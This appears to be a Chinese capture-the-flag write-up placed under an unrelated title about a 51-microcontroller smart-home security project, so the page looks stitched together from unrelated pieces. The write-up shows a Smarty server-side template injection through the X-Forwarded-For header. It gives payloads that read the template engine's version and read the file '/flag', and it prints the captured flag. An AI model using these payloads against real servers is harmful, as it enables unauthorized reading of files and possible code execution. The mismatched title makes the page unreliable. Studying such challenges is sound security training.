【单片机课设毕设项目】基于 51 单片机的家居火灾防范、环境调节、入侵防盗综合控制系统 基于 51 单片机的多传感器感知智能安防与环境自动化控制系统设计(017506)
2026/9/3 16:53:26
打开题目,看到末尾
Build With Smarty !
推测 Smarty 模板注入 看了wphttps://blog.csdn.net/kw741951/article/details/141001010
smart是php的模板引擎,模板引擎的作用就是分离前端页面和数据的,题目中显示API的URL由于环境的原因无法使用,但我们的IP依旧显示在了页面的右上角,且根据它的提示XFF我们很容易想到,在X-Forwarded-For里构造ssti:payload。
开始用bp抓包,然后插入X-Forwarded-For:{$smarty.version}来看一下版本。
插入X-Forwarded-For:{if readfile('/flag')}{/if}
得到flag
flag{305f86a9-ae64-418f-8190-52dd563ee618}